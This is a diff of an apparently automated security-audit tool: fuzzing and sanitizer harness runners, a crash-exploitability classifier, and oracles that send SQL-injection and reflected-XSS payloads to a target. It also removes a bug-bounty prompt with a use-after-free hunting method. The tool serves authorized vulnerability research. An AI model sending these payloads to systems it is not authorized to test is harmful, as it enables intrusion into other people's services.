+  const artifactMaxBytes = artifactDir ? resolveRetainedArtifactBytes(opts.artifactMaxBytes) : null;
+  const { dir: workDir, ephemeral } = makeArtifactDir(artifactDir);
+  const toolingMissing = [];
+  let retained = false;
+  try {
+    const result = runOpts.target.language === "rust" ? await runRustLoop(runOpts, { workDir, timeoutMs, toolingMissing, log, start }) : await runCLoop(runOpts, { workDir, timeoutMs, toolingMissing, log, start });
+    if (!ephemeral && artifactMaxBytes !== null) {
+      retained = persistCapturedArtifacts(result, workDir, canonicalSourceRoot, artifactMaxBytes, log);
+    }
+    return result;
+  } finally {
+    if (ephemeral || !retained)
+      rmSync(workDir, { recursive: true, force: true });
+  }
+}
+function persistCapturedArtifacts(result, workDir, sourceRoot, maxBytes, log) {
+  if (result.crashes.length === 0)
+    return false;
+  const runDir = basename(workDir);
+  const logsDir = join(workDir, "logs");
+  const reproducersDir = join(workDir, "reproducers");
+  mkdirSync(logsDir, { recursive: true, mode: 448 });
+  mkdirSync(reproducersDir, { recursive: true, mode: 448 });
+  let remaining = maxBytes - ARTIFACT_MANIFEST_RESERVE_BYTES;
+  const crashes = result.crashes.slice(0, MAX_RETAINED_CRASHES).map((crash, index) => {
+    const id = safeArtifactId(crash.signature, index);
+    let reproducer = null;
+    if (crash.inputPath && remaining > 0) {
+      const reproducerRef = `${runDir}/reproducers/${id}.input`;
+      reproducer = copyBoundedReproducer(crash.inputPath, join(reproducersDir, `${id}.input`), reproducerRef, sourceRoot, Math.min(MAX_RETAINED_REPRODUCER_BYTES, remaining));
+      if (reproducer) {
+        remaining -= reproducer.sizeBytes;
+        crash.inputPath = join(reproducersDir, `${id}.input`);
+        crash.artifactRef = reproducer.ref;
+      } else {
+        log(`[userspace-fuzz] did not retain reproducer for ${crash.signature} (missing, non-regular, changed while read, or exceeds the remaining evidence budget)`);
+      }
+    }
+    const logRef = `${runDir}/logs/${id}.log`;
+    const logFile = writeBoundedUtf8File(join(logsDir, `${id}.log`), crash.rawOutput, Math.min(MAX_RETAINED_LOG_BYTES, remaining));
+    if (logFile)
+      remaining -= logFile.sizeBytes;
+    return {
+      signature: crash.signature,
+      kind: crash.kind,
+      primitive: crash.primitive ?? null,
+      stack: boundedStack(crash.stack),
+      log: logFile ? { ...logFile, ref: logRef } : null,
+      reproducer
+    };
+  });
+  if (result.crashes.length > MAX_RETAINED_CRASHES) {
+    log(`[userspace-fuzz] retained the first ${MAX_RETAINED_CRASHES} of ${result.crashes.length} deduplicated crashes`);
+  }
+  const manifest = Buffer.from(JSON.stringify({
+    schema: MEMSAFETY_ARTIFACT_SCHEMA,
+    crashes
+  }, null, 2) + "\n", "utf8");
+  if (manifest.byteLength > ARTIFACT_MANIFEST_RESERVE_BYTES) {
+    rmSync(logsDir, { recursive: true, force: true });
+    rmSync(reproducersDir, { recursive: true, force: true });
+    log("[userspace-fuzz] evidence manifest exceeded its bounded reserve; discarded this run's retained copies");
+    return false;
+  }
+  writeFileSync(join(workDir, "manifest.json"), manifest, {
+    flag: "wx",
+    mode: 384
+  });
+  return true;
+}
+function resolveRetainedArtifactBytes(value) {
+  const bytes = value ?? DEFAULT_RETAINED_ARTIFACT_BYTES;
+  if (!Number.isSafeInteger(bytes) || bytes < MIN_RETAINED_ARTIFACT_BYTES) {
+    throw new Error(`artifactMaxBytes must be a safe integer of at least ${MIN_RETAINED_ARTIFACT_BYTES}`);
+  }
+  return bytes;
+}
+function safeArtifactId(signature, index) {
+  if (/^[0-9a-f]{16}$/.test(signature))
+    return signature;
+  return createHash("sha256").update(`${index}\0${signature}`).digest("hex").slice(0, 16);
+}
+function boundedStack(stack) {
+  return (stack ?? []).slice(0, 10).map((frame) => frame.slice(0, 1024));
+}
+function writeBoundedUtf8File(path, value, limit) {
+  if (limit <= 0)
+    return null;
+  const input = Buffer.from(value, "utf8");
+  const truncated = input.length > limit;
+  const bytes = truncated ? input.subarray(input.length - limit) : input;
+  writeFileSync(path, bytes, { flag: "wx", mode: 384 });
+  return {
+    sha256: createHash("sha256").update(bytes).digest("hex"),
+    sizeBytes: bytes.length,
+    ...truncated ? { truncated: true } : {}
+  };
+}
+function copyBoundedReproducer(source, destination, ref, sourceRoot, limit) {
+  let fd;
+  try {
+    if (!isStableSourceDirectory(sourceRoot, dirname(source))) {
+      return null;
+    }
+    const listed = lstatSync(source);
+    if (!listed.isFile() || listed.isSymbolicLink() || listed.size > limit) {
+      return null;
+    }
+    fd = openSync(source, constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0));
+    const before = fstatSync(fd);
+    if (!before.isFile() || before.dev !== listed.dev || before.ino !== listed.ino || before.size !== listed.size || before.mtimeMs !== listed.mtimeMs) {
+      return null;
+    }
+    const bytes = readFileSync(fd);
+    const after = fstatSync(fd);
+    if (before.dev !== after.dev || before.ino !== after.ino || before.size !== after.size || before.mtimeMs !== after.mtimeMs || bytes.length !== before.size) {
+      return null;
+    }
+    if (!isStableSourceDirectory(sourceRoot, dirname(source))) {
+      return null;
+    }
+    writeFileSync(destination, bytes, { flag: "wx", mode: 384 });
+    return {
+      ref,
+      sha256: createHash("sha256").update(bytes).digest("hex"),
+      sizeBytes: bytes.length
+    };
+  } catch {
+    return null;
+  } finally {
+    if (fd !== void 0)
+      closeSync(fd);
+  }
+}
+function cargoFuzzRunArgs(harnessEntry, fuzzDir, timeoutSec) {
+  const fuzzDirArgs = fuzzDir ? ["--fuzz-dir", fuzzDir] : [];
+  return [
+    "fuzz",
+    "run",
+    ...fuzzDirArgs,
+    harnessEntry,
+    "--",
+    `-max_total_time=${Math.floor(timeoutSec)}`
+  ];
+}
+function cargoFuzzListArgs(fuzzDir) {
+  return ["fuzz", "list", ...fuzzDir ? ["--fuzz-dir", fuzzDir] : []];
+}
+async function discoverCargoFuzzHarness(sourceRoot, fuzzDir, timeoutMs) {
+  if (!existsSync(join(sourceRoot, fuzzDir ?? "fuzz", "Cargo.toml"))) {
+    return { reason: `no cargo-fuzz manifest at ${fuzzDir ?? "fuzz"}/Cargo.toml` };
+  }
+  const res = await runChild("cargo", cargoFuzzListArgs(fuzzDir), sourceRoot, timeoutMs);
+  if (res.failed)
+    return { reason: "cargo fuzz list failed" };
+  const harnesses = Array.from(new Set(res.stdout.split(/\r?\n/).map((line) => line.trim()).filter(Boolean)));
+  if (harnesses.length === 1)
+    return { harnessEntry: harnesses[0] };
+  if (harnesses.length === 0)
+    return { reason: "no cargo-fuzz harnesses found" };
+  return {
+    reason: `multiple cargo-fuzz harnesses found (${harnesses.join(", ")})`
+  };
+}
+async function runRustLoop(opts, ctx) {
+  const { target } = opts;
+  const sourceRoot = resolve(target.sourceRoot);
+  const fuzzRoot = resolveCargoFuzzDir(sourceRoot, target.fuzzDir);
+  const crashes = [];
+  let iterations = 0;
+  let harnessEntry = target.harnessEntry;
+  let executedHarness;
+  if (!await cargoAvailable()) {
+    ctx.toolingMissing.push("cargo");
+    ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.cargo}`);
+    return finish(crashes, iterations, sourceRoot, ctx, "fuzz");
+  }
+  if (!fuzzRoot || harnessEntry && !isCargoFuzzHarnessName(harnessEntry)) {
+    ctx.toolingMissing.push("cargo-fuzz-layout");
+    ctx.log("[userspace-fuzz] rejected unsafe cargo-fuzz directory or harness name");
+    return finish(crashes, iterations, sourceRoot, ctx, "fuzz");
+  }
+  const fuzzDir = relative(sourceRoot, fuzzRoot);
+  if (!await cargoFuzzAvailable()) {
+    ctx.toolingMissing.push("cargo-fuzz");
+    ctx.log(`[userspace-fuzz] ${TOOLING_HINTS["cargo-fuzz"]}`);
+  } else {
+    if (!harnessEntry) {
+      const discovery = await discoverCargoFuzzHarness(sourceRoot, fuzzDir, ctx.timeoutMs);
+      if ("reason" in discovery) {
+        ctx.toolingMissing.push("cargo-fuzz-harness");
+        ctx.log(`[userspace-fuzz] ${discovery.reason}; ${TOOLING_HINTS["cargo-fuzz-harness"]}`);
+      } else {
+        harnessEntry = discovery.harnessEntry;
+        if (!isCargoFuzzHarnessName(harnessEntry)) {
+          ctx.toolingMissing.push("cargo-fuzz-harness");
+          ctx.log("[userspace-fuzz] cargo-fuzz reported an unsafe harness name");
+          harnessEntry = void 0;
+        } else {
+          ctx.log(`[userspace-fuzz] auto-selected cargo-fuzz harness ${harnessEntry}`);
+        }
+      }
+    }
+    if (harnessEntry) {
+      ctx.log(`[userspace-fuzz] cargo fuzz run ${harnessEntry} (<=${ctx.timeoutMs / 1e3}s)`);
+      const res = await runChild("cargo", cargoFuzzRunArgs(harnessEntry, fuzzDir, ctx.timeoutMs / 1e3), sourceRoot, ctx.timeoutMs + 3e4);
+      executedHarness = harnessEntry;
+      iterations += 1;
+      const crash = parseCrashOutput(res.output, {
+        kind: res.timedOut ? "timeout" : void 0,
+        inputPath: findLibfuzzerCrashInput(join(fuzzRoot, "artifacts", harnessEntry), sourceRoot)
+      });
+      if (crash)
+        crashes.push(crash);
+    }
+  }
+  if (opts.runMiri) {
+    if (!await miriAvailable()) {
+      ctx.toolingMissing.push("miri");
+      ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.miri}`);
+    } else {
+      ctx.log("[userspace-fuzz] cargo +nightly miri test (UB run)");
+      const res = await runChild("cargo", ["+nightly", "miri", "test"], sourceRoot, ctx.timeoutMs + 3e4);
+      iterations += 1;
+      const crash = parseCrashOutput(res.output, {
+        kind: res.timedOut ? "timeout" : void 0
+      });
+      if (crash)
+        crashes.push(crash);
+    }
+  }
+  const corpusDir = harnessEntry ? join(fuzzRoot, "corpus", harnessEntry) : join(fuzzRoot, "corpus");
+  const result = finishWithCorpus(crashes, iterations, corpusDir, ctx);
+  if (executedHarness)
+    result.executedHarness = executedHarness;
+  return result;
+}
+async function runCLoop(opts, ctx) {
+  const crashes = [];
+  let iterations = 0;
+  if (!opts.tier2Artifact) {
+    ctx.log("[userspace-fuzz] C/C++ path requires a tier2Artifact (from buildTier2Harness); nothing to run");
+    return finish(crashes, iterations, resolve(opts.target.sourceRoot), ctx, "tier2");
+  }
+  if (!await clangAvailable()) {
+    ctx.toolingMissing.push("clang");
+    ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.clang}`);
+    return finish(crashes, iterations, resolve(opts.target.sourceRoot), ctx, "tier2");
+  }
+  const { compile_command, run_command } = opts.tier2Artifact;
+  const sourceRoot = resolve(opts.target.sourceRoot);
+  ctx.log(`[userspace-fuzz] compiling Tier-2 harness: ${compile_command}`);
+  const compileRes = await runChild("sh", ["-c", compile_command], sourceRoot, ctx.timeoutMs);
+  if (compileRes.signalled || /error:|fatal error:/i.test(compileRes.output)) {
+    ctx.toolingMissing.push("tier2-harness-compile");
+    ctx.log(`[userspace-fuzz] Tier-2 harness failed to compile:
+${compileRes.output.slice(-2e3)}`);
+    return finish(crashes, iterations, sourceRoot, ctx, "tier2");
+  }
+  ctx.log(`[userspace-fuzz] running Tier-2 harness: ${run_command}`);
+  const runRes = await runChild("sh", ["-c", run_command], sourceRoot, ctx.timeoutMs + 3e4);
+  iterations += 1;
+  const crash = parseCrashOutput(runRes.output, {
+    kind: runRes.timedOut ? "timeout" : runRes.signalled ? "segfault" : void 0
+  });
+  if (crash) {
+    crash.inputPath = findLibfuzzerCrashInput(sourceRoot, sourceRoot) ?? crash.inputPath;
+    crashes.push(crash);
+  }
+  return finishWithCorpus(crashes, iterations, sourceRoot, ctx);
+}
+function findLibfuzzerCrashInput(dir, sourceRoot) {
+  if (!isStableSourceDirectory(sourceRoot, dir))
+    return void 0;
+  try {
+    const hit = readdirSync(dir).find((name) => /^(crash|oom|timeout|leak)-[0-9a-f]+$/i.test(name));
+    if (!hit || !isStableSourceDirectory(sourceRoot, dir))
+      return void 0;
+    const candidate = join(dir, hit);
+    const listed = lstatSync(candidate);
+    return listed.isFile() && !listed.isSymbolicLink() ? candidate : void 0;
+  } catch {
+    return void 0;
+  }
+}
+function finish(crashes, iterations, corpusDir, ctx, _phase) {
+  return finishWithCorpus(crashes, iterations, corpusDir, ctx);
+}
+function finishWithCorpus(crashes, iterations, corpusDir, ctx) {
+  const deduped = dedupeBySignature(crashes);
+  const result = {
+    iterations,
+    crashes: deduped,
+    corpusSize: corpusCount(corpusDir),
+    durationMs: Date.now() - ctx.start
+  };
+  if (ctx.toolingMissing.length > 0) {
+    result.toolingMissing = Array.from(new Set(ctx.toolingMissing));
+  }
+  ctx.log(`[userspace-fuzz] done: iterations=${result.iterations} crashes=${result.crashes.length} corpus=${result.corpusSize}` + (result.toolingMissing ? ` toolingMissing=[${result.toolingMissing.join(",")}]` : ""));
+  return result;
+}
 
-### HARD CONSTRAINTS \u2014 bounty rules (never violate)
-1. **Never open a PR or change code** in the target or any of its dependencies.
-   You are auditing, not patching \u2014 do not push, fork-and-PR, or submit upstream.
-2. **Never DoS the live endpoint.** No fuzzing, flooding, resource-exhaustion,
-   or load against the hosted/live service (e.g. hackmonty.com).
-3. **Discovery happens against a LOCAL instrumented build only** \u2014 clone the
-   source, build with sanitizers (ASAN/UBSAN) or run under \`cargo fuzz\` / \`miri\`,
-   and reproduce locally. The live site is only for confirming scope, never the hunt.
+// packages/core/dist/triage/userspace-primitive.js
+var SEVERITY_ORDER = ["info", "low", "medium", "high", "critical"];
+function severityRank(sev) {
+  return SEVERITY_ORDER.indexOf(sev);
+}
+function maxMemSeverity(a, b) {
+  return severityRank(a) >= severityRank(b) ? a : b;
+}
+function sniffMemPrimitive(raw) {
+  if (/heap-use-after-free|use-after-free|use of (deallocated|freed)/i.test(raw)) {
+    return "use-after-free";
+  }
+  if (/double-free|attempting double-free|free of (already-freed|untracked)/i.test(raw)) {
+    return "double-free";
+  }
+  if (/stack-buffer-overflow|stack-use-after-(return|scope)|stack-oob/i.test(raw)) {
+    return "stack-oob";
+  }
+  if (/heap-buffer-overflow|global-buffer-overflow|dynamic-stack-buffer-overflow/i.test(raw)) {
+    return /\bWRITE of size\b/i.test(raw) ? "heap-oob-write" : "heap-oob-read";
+  }
+  if (/uninitialized (memory|bytes|value)|use of uninitialized|msan|memorysanitizer|conjuring an instance/i.test(raw)) {
+    return "uninit-read";
+  }
+  if (/dangling (reference|pointer)|pointer to .* was dereferenced after/i.test(raw)) {
+    return "use-after-free";
+  }
+  if (/out-of-bounds|out of bounds|index out of bounds/i.test(raw)) {
+    return /\bWRITE of size\b|writing|store/i.test(raw) ? "heap-oob-write" : "heap-oob-read";
+  }
+  if (/signed integer overflow|unsigned integer overflow|integer overflow|shift .* out of range/i.test(raw)) {
+    return "integer-overflow";
+  }
+  if (/(member|downcast|wrong type|type mismatch|invalid (vtable|downcast)).*type|type confusion|misaligned/i.test(raw)) {
+    return "type-confusion";
+  }
+  if (/null pointer|null-deref|dereferenc(e|ing) (a )?null|SEGV on unknown address 0x0+\b/i.test(raw)) {
+    return "null-deref";
+  }
+  return void 0;
+}
+function primitiveFromKind(kind) {
+  switch (kind) {
+    case "segfault":
+      return "null-deref";
+    case "ubsan":
+      return "integer-overflow";
+    case "msan":
+      return "uninit-read";
+    default:
+      return "unknown";
+  }
+}
+function sniffAccess(raw) {
+  if (/\bWRITE of size\b|\bwriting\b|\bstore\b|wild pointer write/i.test(raw))
+    return "write";
+  if (/\bREAD of size\b|\breading\b|\bload\b/i.test(raw))
+    return "read";
+  if (/\bexecute\b|\bPC\b.*invalid|control flow|return address/i.test(raw))
+    return "exec";
+  return "none";
+}
+function classifyUserspacePrimitive(crash) {
+  const raw = crash.rawOutput ?? "";
+  const primitive = crash.primitive ?? sniffMemPrimitive(raw) ?? primitiveFromKind(crash.kind);
+  const access = sniffAccess(raw);
+  let severity;
+  let controllable;
+  let readWrite;
+  let rationale;
+  switch (primitive) {
+    case "use-after-free": {
+      readWrite = access === "read" ? "read" : "write";
+      controllable = true;
+      severity = readWrite === "write" ? "critical" : "high";
+      rationale = `Use-after-free grants a dangling reference; a ${readWrite} after free is the lever \u2014 reclaim the freed allocation with a controlled object to turn it into ${readWrite === "write" ? "an object overwrite" : "an info-leak"}.`;
+      break;
+    }
+    case "double-free": {
+      readWrite = "write";
+      controllable = true;
+      severity = "high";
+      rationale = "Double-free confuses the allocator freelist, enabling overlapping allocations and downstream object overwrite.";
+      break;
+    }
+    case "heap-oob-write": {
+      readWrite = "write";
+      controllable = true;
+      severity = "critical";
+      rationale = "Heap out-of-bounds write corrupts an adjacent allocation \u2014 a write-what-where candidate once the neighbouring object is groomed.";
+      break;
+    }
+    case "heap-oob-read": {
+      readWrite = "read";
+      controllable = /attacker|user-?controlled|tainted|index|offset|length/i.test(raw);
+      severity = "medium";
+      rationale = "Heap out-of-bounds read leaks adjacent allocation contents \u2014 an info-leak candidate useful for defeating ASLR.";
+      break;
+    }
+    case "stack-oob": {
+      readWrite = access === "read" ? "read" : "write";
+      controllable = true;
+      severity = readWrite === "write" ? "high" : "medium";
+      rationale = "Stack out-of-bounds access; write variants can target saved registers / return addresses subject to stack-canary mitigation.";
+      break;
+    }
+    case "type-confusion": {
+      readWrite = "write";
+      controllable = true;
+      severity = "high";
+      rationale = "Type confusion treats one object layout as another, enabling controlled reads/writes through mismatched fields (e.g. a fake vtable).";
+      break;
+    }
+    case "uninit-read": {
+      readWrite = "read";
+      controllable = false;
+      severity = "medium";
+      rationale = "Uninitialised read returns stale memory \u2014 an info-leak building block; exploitability depends on whether the leaked bytes reach an attacker.";
+      break;
+    }
+    case "integer-overflow": {
+      readWrite = "none";
+      controllable = false;
+      severity = "low";
+      rationale = "Integer overflow rarely yields a direct memory primitive on its own; treat as a building block (e.g. an undersized allocation) pending further analysis.";
+      break;
+    }
+    case "null-deref": {
+      readWrite = "none";
+      controllable = false;
+      severity = "low";
+      rationale = "Null / faulting dereference is typically a denial-of-service in userspace unless a controlled offset reaches a mapped page.";
+      break;
+    }
+    default: {
+      readWrite = access;
+      controllable = false;
+      severity = "info";
+      rationale = `Crash kind ${crash.kind} did not map to a known memory-safety primitive; treat as undetermined pending symbolisation.`;
+    }
+  }
+  if ((crash.kind === "panic" || crash.kind === "timeout" || crash.kind === "oom") && primitive === "unknown") {
+    return {
+      primitive: "unknown",
+      severity: crash.kind === "panic" ? "low" : "info",
+      controllable: false,
+      readWrite: "none",
+      rationale: crash.kind === "panic" ? "Rust panic with no sanitizer signature \u2014 a safe-abort / availability bug, not a memory-corruption primitive." : `${crash.kind} with no corruption signature \u2014 an availability bug.`
+    };
+  }
+  return { primitive, severity, controllable, readWrite, rationale };
+}
+function describeExploitabilityVerdict(verdict) {
+  return [
+    `Primitive: ${verdict.primitive} (op=${verdict.readWrite})`,
+    `Severity: ${verdict.severity} (controllable=${verdict.controllable})`,
+    `- ${verdict.rationale}`
+  ];
+}
 
-### Step 1: Unsafe-block + boundary enumeration
-- Enumerate every \`unsafe\` block: \`grep -rn "unsafe" --include=*.rs\` and read each
-  one. \`unsafe\` is where Rust's guarantees are hand-waved \u2014 that is the audit surface.
-- Audit the PyO3 / C-API / FFI boundary specifically: \`Py_INCREF\`/\`Py_DECREF\`,
-  \`PyObject\` raw pointers, \`from_raw\`/\`into_raw\`, \`transmute\`, \`MaybeUninit\`,
-  \`mem::forget\`, \`ManuallyDrop\`, raw \`*mut\`/\`*const\` deref, and any place a Python
-  object's lifetime is managed by hand rather than by the borrow checker.
-- Flag refcount math done manually (incref/decref imbalance \u2192 UAF or leak) and any
-  \`&mut\` aliasing smuggled across the FFI line (\u2192 type confusion / aliasing UB).
+// packages/core/dist/triage/pov-gate.js
+import { execFile as execFile2 } from "node:child_process";
+import { promisify } from "node:util";
 
-### Step 2: GC-root variant-hunt (the round-1 methodology)
-Round-1 win was a use-after-free via a **missing GC root**: \`list.sort\` held a
-reference to an object the garbage collector did not trace, so it was freed
-mid-operation and then used. The patch "extended the GC root set" \u2014 which means
-the fix is narrow and **adjacent objects are likely still unrooted**.
-- Start from the patched roots. Enumerate every object/temporary that lives
-  *next to* what the patch just rooted: other intrinsics that hold borrowed
-  references across a callback, re-entrancy points, iterators / sort / comparator
-  callbacks, \`__del__\` / finalizer hooks, and any C-side temporary not registered
-  with the collector.
-- For each candidate ask: can the attacker script trigger a GC (allocate pressure,
-  explicit \`gc.collect()\`, drop a large object) *while* this reference is live but
-  untraced? If yes \u2192 candidate UAF.
-- Type-confusion variant: where the patch rooted an object of one type, check
-  whether a sibling path can swap the object's type between the root and the use.
+// packages/core/dist/triage/oracle-runtime.js
+import { randomUUID } from "node:crypto";
+import { createServer } from "node:http";
 
-### Step 3: Fuzz + sanitize the LOCAL build
-- Build the cloned tree with sanitizers and drive the suspect entry points
-  (the \`unsafe\` slices and Step-2 candidates) under \`cargo fuzz\` (libFuzzer) and
-  \`miri\` for UB on the unsafe paths. ASAN/UBSAN catch UAF/OOB; miri catches
-  aliasing / uninit UB the sanitizers miss.
-- If \`cargo-fuzz\` / \`miri\` / sanitizer toolchains are not installed, say so and
-  request them \u2014 do NOT fabricate a fuzzing result. The pipeline degrades and
-  reports the missing tooling rather than faking success.
-- Reproduce every crash to a minimal input before claiming it.
+// packages/core/dist/triage/oracles.js
+var DEFAULT_TIMEOUT_MS = 1e4;
+function notVerifiable(reason) {
+  return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
+}
+function verified(evidence, confidence = 1) {
+  return { verified: true, confidence, evidence, reason: "" };
+}
+function parseRequest(requestText, fallbackTarget) {
+  const parsed = {
+    method: "GET",
+    url: fallbackTarget,
+    headers: {},
+    body: "",
+    params: {}
+  };
+  const parseFallbackQuery = () => {
+    try {
+      const u = new URL(parsed.url);
+      u.searchParams.forEach((v, k) => {
+        parsed.params[k] = v;
+      });
+    } catch {
+    }
+  };
+  if (!requestText) {
+    parseFallbackQuery();
+    return parsed;
+  }
+  requestText = requestText.replace(/\r\n/g, "\n");
+  const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
+  if (curlUrl)
+    parsed.url = curlUrl[1].replace(/['"]$/, "");
+  const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
+  if (curlMethod)
+    parsed.method = curlMethod[1].toUpperCase();
+  const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
+  if (curlData)
+    parsed.body = curlData[1];
+  const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
+  if (startLine) {
+    parsed.method = startLine[1].toUpperCase();
+    const path = startLine[2];
+    const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
+    if (/^https?:\/\//i.test(path)) {
+      parsed.url = path;
+    } else if (hostHeader) {
+      const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
+      parsed.url = `${scheme}://${hostHeader[1]}${path}`;
+    } else if (path.startsWith("/")) {
+      try {
+        const base = new URL(fallbackTarget);
+        parsed.url = `${base.origin}${path}`;
+      } catch {
+        parsed.url = path;
+      }
+    } else {
+      parsed.url = path;
+    }
+    const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
+    for (const line of headerBlock.split("\n").slice(1)) {
+      const colon = line.indexOf(":");
+      if (colon > 0) {
+        const name = line.slice(0, colon).trim().toLowerCase();
+        if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
+          parsed.headers[name] = line.slice(colon + 1).trim();
+        }
+      }
+    }
+    const sep2 = requestText.indexOf("\n\n");
+    if (sep2 >= 0)
+      parsed.body = requestText.slice(sep2 + 2);
+  }
+  try {
+    const u = new URL(parsed.url);
+    u.searchParams.forEach((v, k) => {
+      parsed.params[k] = v;
+    });
+  } catch {
+  }
+  if (parsed.body.trimStart().startsWith("{")) {
+    try {
+      const json = JSON.parse(parsed.body);
+      for (const [key, value] of Object.entries(json)) {
+        if (typeof value === "string" || typeof value === "number")
+          parsed.params[key] = String(value);
+      }
+    } catch {
+    }
+  } else if (parsed.body.includes("=")) {
+    new URLSearchParams(parsed.body).forEach((value, key) => {
+      parsed.params[key] = value;
+    });
+  }
+  return parsed;
+}
+function buildProbeRequest(parsed, newParams) {
+  const method = parsed.method || "GET";
+  const init = { method, headers: { ...parsed.headers } };
+  const url = new URL(parsed.url);
+  let json;
+  if (parsed.body.trimStart().startsWith("{")) {
+    try {
+      json = JSON.parse(parsed.body);
+    } catch {
+    }
+  }
+  const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
+  for (const [key, value] of Object.entries(newParams)) {
+    if (method !== "GET" && json && Object.hasOwn(json, key))
+      json[key] = value;
+    else if (method !== "GET" && form?.has(key))
+      form.set(key, value);
+    else
+      url.searchParams.set(key, value);
+  }
+  if (method !== "GET") {
+    init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
+    if (json)
+      init.headers = { "content-type": "application/json", ...parsed.headers };
+    else if (form)
+      init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
+  }
+  return { url: url.toString(), init };
+}
+async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
+  const controller = new AbortController();
+  const timer = setTimeout(() => controller.abort(), timeoutMs);
+  const start = Date.now();
+  try {
+    const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
+    const body = await res.text();
+    return { status: res.status, body, latencyMs: Date.now() - start };
+  } catch {
+    return null;
+  } finally {
+    clearTimeout(timer);
+  }
+}
+var SQL_ERROR_PATTERNS = [
+  // MySQL
+  /You have an error in your SQL syntax/i,
+  /\bmysql_fetch_/i,
+  /\bMySQLSyntaxErrorException\b/i,
+  /\bMariaDB\b.*?\bsyntax\b/i,
+  // PostgreSQL
+  /\bPG::SyntaxError\b/i,
+  /\bpq:\s+syntax error\b/i,
+  /\bpsql:.*?ERROR:/i,
+  /unterminated quoted string/i,
+  // SQLite
+  /\bSQLite3::/i,
+  /\bsqlite3\.OperationalError\b/i,
+  /near\s+".+?":\s*syntax error/i,
+  // MSSQL
+  /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
+  /\bUnclosed quotation mark\b/i,
+  /\bOLE DB.*?SQL Server\b/i,
+  // Oracle
+  /\bORA-\d{4,5}\b/i,
+  /\bquoted string not properly terminated\b/i
+];
+function detectSqlError(body) {
+  for (const re of SQL_ERROR_PATTERNS) {
+    const m = body.match(re);
+    if (m)
+      return m[0];
+  }
+  return null;
+}
+function pickInjectableParam(parsed) {
+  for (const [k, v] of Object.entries(parsed.params)) {
+    if (v && v.length > 0)
+      return { key: k, value: v };
+  }
+  const first = Object.keys(parsed.params)[0];
+  if (first)
+    return { key: first, value: parsed.params[first] ?? "" };
+  return null;
+}
+async function verifySqli(finding, target, context = {}) {
+  const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const signals = [];
+  const baseline = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: victim.value })));
+  if (!baseline)
+    return notVerifiable("baseline request failed");
+  const trueProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=1-- -` })));
+  const falseProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}' OR 1=2-- -` })));
+  if (trueProbe && falseProbe && trueProbe.body.length > 0) {
+    const delta = Math.abs(trueProbe.body.length - falseProbe.body.length) / Math.max(trueProbe.body.length, 1);
+    if (delta > 0.1) {
+      signals.push(`boolean_diff: |true|=${trueProbe.body.length} |false|=${falseProbe.body.length} delta=${delta.toFixed(2)}`);
+    }
+  }
+  const timePayloads = [
+    `${victim.value}' AND SLEEP(3)-- -`,
+    `${victim.value}'; SELECT pg_sleep(3)-- -`,
+    `${victim.value}' AND (SELECT 1 FROM (SELECT SLEEP(3))a)-- -`
+  ];
+  for (const payload of timePayloads) {
+    const probe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: payload })), 8e3);
+    if (probe && baseline.latencyMs < 500 && probe.latencyMs > 2500) {
+      signals.push(`time_based: baseline=${baseline.latencyMs}ms probe=${probe.latencyMs}ms`);
+      break;
+    }
+  }
+  const errProbe = await timedFetch(...Object.values(buildProbeRequest(parsed, { [victim.key]: `${victim.value}'` })));
+  if (errProbe) {
+    const err = detectSqlError(errProbe.body);
+    if (err)
+      signals.push(`sql_error: ${err}`);
+  }
+  if (signals.length >= 2) {
+    return verified(signals.join(" | "));
+  }
+  return {
+    verified: false,
+    confidence: signals.length === 1 ? 0.4 : 0,
+    evidence: signals.join(" | "),
+    reason: signals.length === 1 ? `only 1/3 sqli signals fired: ${signals[0]}` : "no sqli signals fired"
+  };
+}
+async function verifyReflectedXss(finding, target, context = {}) {
+  const timedFetch = (url2, init2, timeoutMs) => fetchWithTimeout(url2, init2, timeoutMs, context);
+  const parsed = parseRequest(finding.evidence?.request ?? "", target);
+  const victim = pickInjectableParam(parsed);
+  if (!victim)
+    return notVerifiable("no injectable parameter found in finding evidence");
+  const token = `osec_${randomUUID().replace(/-/g, "")}`;
+  const payload = `<script>alert('${token}')</script>`;
+  const { url, init } = buildProbeRequest(parsed, {
+    [victim.key]: payload
+  });
+  const probe = await timedFetch(url, init);
+  const htmlReflected = !!probe && probe.body.includes(payload) && !probe.body.includes(`&lt;script&gt;alert(&#39;${token}&#39;)&lt;/script&gt;`);
+  let playwright = null;
+  try {
+    playwright = await import("playwright");
+  } catch {
+  }
+  if (playwright) {
+    let browser = null;
+    try {
+      browser = await playwright.chromium.launch({ headless: true });
+      const page = await browser.newPage();
+      let dialogMessage = "";
+      page.on("dialog", async (dialog) => {
+        if (dialog.type() === "alert" && dialog.message() === token) {
+          dialogMessage = token;
+        }
